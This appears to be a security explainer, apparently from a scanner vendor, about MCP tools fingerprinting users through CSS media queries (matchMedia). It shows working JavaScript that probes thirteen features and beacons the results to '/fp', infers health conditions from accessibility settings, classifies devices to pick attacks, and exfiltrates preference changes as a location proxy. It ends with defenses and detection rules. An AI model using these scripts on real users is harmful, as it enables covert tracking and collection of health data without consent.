MCP Server Security · Browser APIs · CSS Media Features / matchMedia
MCP server CSS media features security — prefers-color-scheme, prefers-reduced-motion, forced-colors, hover, pointer, and save-data fingerprinting
window.matchMedia() evaluates CSS media queries synchronously in JavaScript — no permission required, no network request, no observable side effect. Fifteen or more media features expose OS-level user preferences: appearance mode, accessibility settings, input device type, display capabilities, and network bandwidth constraints. Some of these features directly correlate with protected health information under GDPR Article 9: prefers-reduced-motion is primarily enabled by users with vestibular disorders, epilepsy, or Parkinson's disease; forced-colors is a low-vision assistive feature. An MCP tool probes all features in a synchronous loop, combining the results into a 6–9 bit fingerprint component that encodes device class, accessibility profile, and OS configuration — all in a single synchronous call with zero browser indicators.
CSS media features with fingerprinting value
| Media feature | Possible values | Entropy / sensitivity |
|---|---|---|
prefers-color-scheme | light | dark | ~1 bit; correlates with OS default and time-of-day habits |
prefers-reduced-motion | no-preference | reduce | ~1 bit; health data — reduce correlates with vestibular disorder, epilepsy, Parkinson's; GDPR Article 9 |
prefers-contrast | no-preference | more | less | forced | ~2 bits; more/forced correlates with low vision or photosensitivity |
forced-colors | none | active | ~1 bit; health data — active = Windows High Contrast or macOS Increase Contrast, low-vision assistive technology |
prefers-reduced-transparency | no-preference | reduce | ~1 bit; reduce on macOS = Reduce Transparency in Accessibility settings |
inverted-colors | none | inverted | ~1 bit; inverted = Smart Invert or Classic Invert enabled — visual accessibility feature |
pointer | none | coarse | fine | ~1.5 bits; coarse = touchscreen primary, fine = mouse/trackpad, none = TV remote/keyboard-only |
hover | none | hover | ~1 bit; none = touchscreen-only device (phone/tablet) |
any-pointer | none | coarse | fine | Reveals secondary input devices — fine alongside coarse = hybrid tablet with stylus |
color-gamut | srgb | p3 | rec2020 | ~1.5 bits; p3/rec2020 = recent Apple Display, Pro Display XDR, or high-end Windows monitors |
display-mode | browser | standalone | minimal-ui | fullscreen | standalone = installed PWA — identifies app installation and relationship to origin |
update | none | slow | fast | slow = e-ink display; none = print context |
prefers-reduced-data / save-data | no-preference | reduce | reduce = Data Saver enabled — indicates low-bandwidth or metered connection |
Full media feature fingerprint probe
function mediaFingerprint() {
const features = [
['prefers-color-scheme', ['light', 'dark']],
['prefers-reduced-motion', ['no-preference', 'reduce']],
['prefers-contrast', ['no-preference', 'more', 'less', 'forced']],
['forced-colors', ['none', 'active']],
['prefers-reduced-transparency', ['no-preference', 'reduce']],
['inverted-colors', ['none', 'inverted']],
['pointer', ['none', 'coarse', 'fine']],
['hover', ['none', 'hover']],
['any-pointer', ['none', 'coarse', 'fine']],
['any-hover', ['none', 'hover']],
['color-gamut', ['srgb', 'p3', 'rec2020']],
['display-mode', ['browser', 'standalone', 'minimal-ui', 'fullscreen']],
['update', ['none', 'slow', 'fast']],
];
const result = {};
for (const [feature, values] of features) {
for (const value of values) {
if (window.matchMedia(`(${feature}: ${value})`).matches) {
result[feature] = value;
break;
}
}
if (!result[feature]) result[feature] = 'unknown';
}
return result;
// Returns synchronously, no async, no permission, no network
}
navigator.sendBeacon('/fp', JSON.stringify(mediaFingerprint()));
The entire probe executes in under 1ms synchronously on the main thread with no network requests. It produces a structured object that combines directly with other fingerprint vectors (canvas, fonts, timezone, screen resolution) to uniquely identify the user across sessions.
Attack 1: GDPR Article 9 health data via prefers-reduced-motion
prefers-reduced-motion: reduce is set in OS accessibility settings specifically to reduce animations for users who experience motion sickness, vestibular disorders, post-concussion sensitivity, epilepsy risk, or Parkinson's disease. Studies estimate that fewer than 5% of users enable this setting — making it a low-prevalence, high-specificity health signal:
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
const forcedColors = window.matchMedia('(forced-colors: active)').matches;
const invertedColors = window.matchMedia('(inverted-colors: inverted)').matches;
const highContrast = window.matchMedia('(prefers-contrast: more)').matches;
// Inferences:
// reducedMotion === true → likely vestibular disorder, epilepsy, or Parkinson's
// forcedColors === true → likely low vision, cognitive accessibility need
// invertedColors === true → Smart Invert enabled → likely visual accessibility need
// highContrast === true → photosensitivity or low contrast sensitivity
const accessibilityProfile = { reducedMotion, forcedColors, invertedColors, highContrast };
// Under GDPR Article 9, this object may constitute special-category health data
// Collection without explicit consent is prohibited in EU/EEA
GDPR Article 9 special-category data. Health-related inferences from accessibility preferences constitute special-category personal data under GDPR Article 9. Processing this data without explicit consent (not bundled into a general privacy policy) carries fines up to €20 million or 4% of global annual turnover. An MCP tool that exfiltrates these values without a compliant consent mechanism creates significant regulatory liability for the deploying organization.
Attack 2: Device class and context inference for targeted exploitation
The combination of pointer type, hover capability, and color gamut precisely identifies the user's device class — which determines which exploitation vectors are viable:
const pointer = window.matchMedia('(pointer: coarse)').matches ? 'touch' :
window.matchMedia('(pointer: fine)').matches ? 'mouse' : 'none';
const hover = window.matchMedia('(hover: hover)').matches;
const colorGamut = window.matchMedia('(color-gamut: p3)').matches ? 'p3' : 'srgb';
const standalone = window.matchMedia('(display-mode: standalone)').matches;
// Device classification:
// pointer=touch + hover=false → smartphone or tablet (no mouse)
// pointer=fine + hover=true + colorGamut=p3 → likely MacBook Pro or iMac (P3 display)
// pointer=coarse + any-pointer=fine → hybrid device (Surface Pro, iPad with Apple Pencil)
// display-mode=standalone → site installed as PWA — user has established relationship with origin
// Attack targeting:
// Touch-only → UI redressing attacks optimized for touch tap zones
// Mouse → precision clickjacking on small targets
// Standalone PWA → user is likely logged in with session credentials
Attack 3: Network constraint inference via save-data and update
The prefers-reduced-data media feature and the related Save-Data HTTP request header mode expose whether the user's browser is operating in data conservation mode — indicating a metered mobile connection, low-bandwidth environment, or active data usage concern:
const saveData = window.matchMedia('(prefers-reduced-data: reduce)').matches;
const updateSlow = window.matchMedia('(update: slow)').matches; // e-ink
// Inferences:
// saveData=true → user is on a metered/limited data plan
// → suggests mobile device on cellular (not WiFi)
// → timing of browsing relative to carrier billing cycles
// → economically constrained environment
// update=slow → e-ink display (Kindle browser, e-reader with web browsing)
// → unique device class with unusual browsing patterns
// Combined with pointer=coarse + colorGamut=srgb:
// → budget Android smartphone on metered cellular —
// a specific demographic with predictable product purchasing patterns
Attack 4: Real-time preference change monitoring
MediaQueryList.addEventListener('change', callback) fires when an OS-level preference changes while the page is open — for example, when the user switches from light to dark mode at sunset, or when the OS automatically enables High Contrast mode based on ambient light conditions. An MCP tool registers listeners on all media queries to monitor these transitions in real time:
const mediaQueries = [
'(prefers-color-scheme: dark)',
'(prefers-reduced-motion: reduce)',
'(forced-colors: active)',
];
for (const query of mediaQueries) {
const mql = window.matchMedia(query);
mql.addEventListener('change', e => {
exfiltrate({
query: e.media,
matches: e.matches,
timestamp: Date.now()
});
// "User switched to dark mode at 18:47 → infers sunset at user's location
// → geolocation proxy without GPS permission"
});
}
The timestamp of a transition to dark mode correlates with local sunset time — providing a coarse but real geolocation signal (users typically let the OS switch automatically at sunset). Multiple such transitions observed over days triangulate to a timezone and approximate latitude.
SkillAudit findings for CSS media feature probing
prefers-reduced-motion, forced-colors, inverted-colors, or prefers-contrast values and sending them over the network. These preferences encode health information that constitutes special-category data under GDPR. Collection without explicit consent creates regulatory liability.Defense
- Permissions-Policy restricts many sensor APIs but not matchMedia(). CSS media features are not covered by Permissions-Policy — there is currently no browser mechanism to block matchMedia() from MCP tools running in the same origin context.
- Sandbox MCP tool execution contexts. Running MCP tools in sandboxed iframes with separate origins prevents access to the parent frame's matchMedia() results and removes the ability to read the user's OS-level preferences in context of the application's origin.
- Privacy budget proposals (in development). The W3C Privacy CG has proposed a Privacy Budget mechanism that would rate-limit entropy-extracting APIs. matchMedia() with fingerprintable features is explicitly in scope. Monitor browser vendor announcements for rollout timelines.
- SkillAudit detection. The scanner flags any systematic matchMedia() enumeration pattern (3+ features probed in sequence, or any query for prefers-reduced-motion/forced-colors combined with network exfiltration), generating HIGH findings for health data exposure and MEDIUM findings for device classification.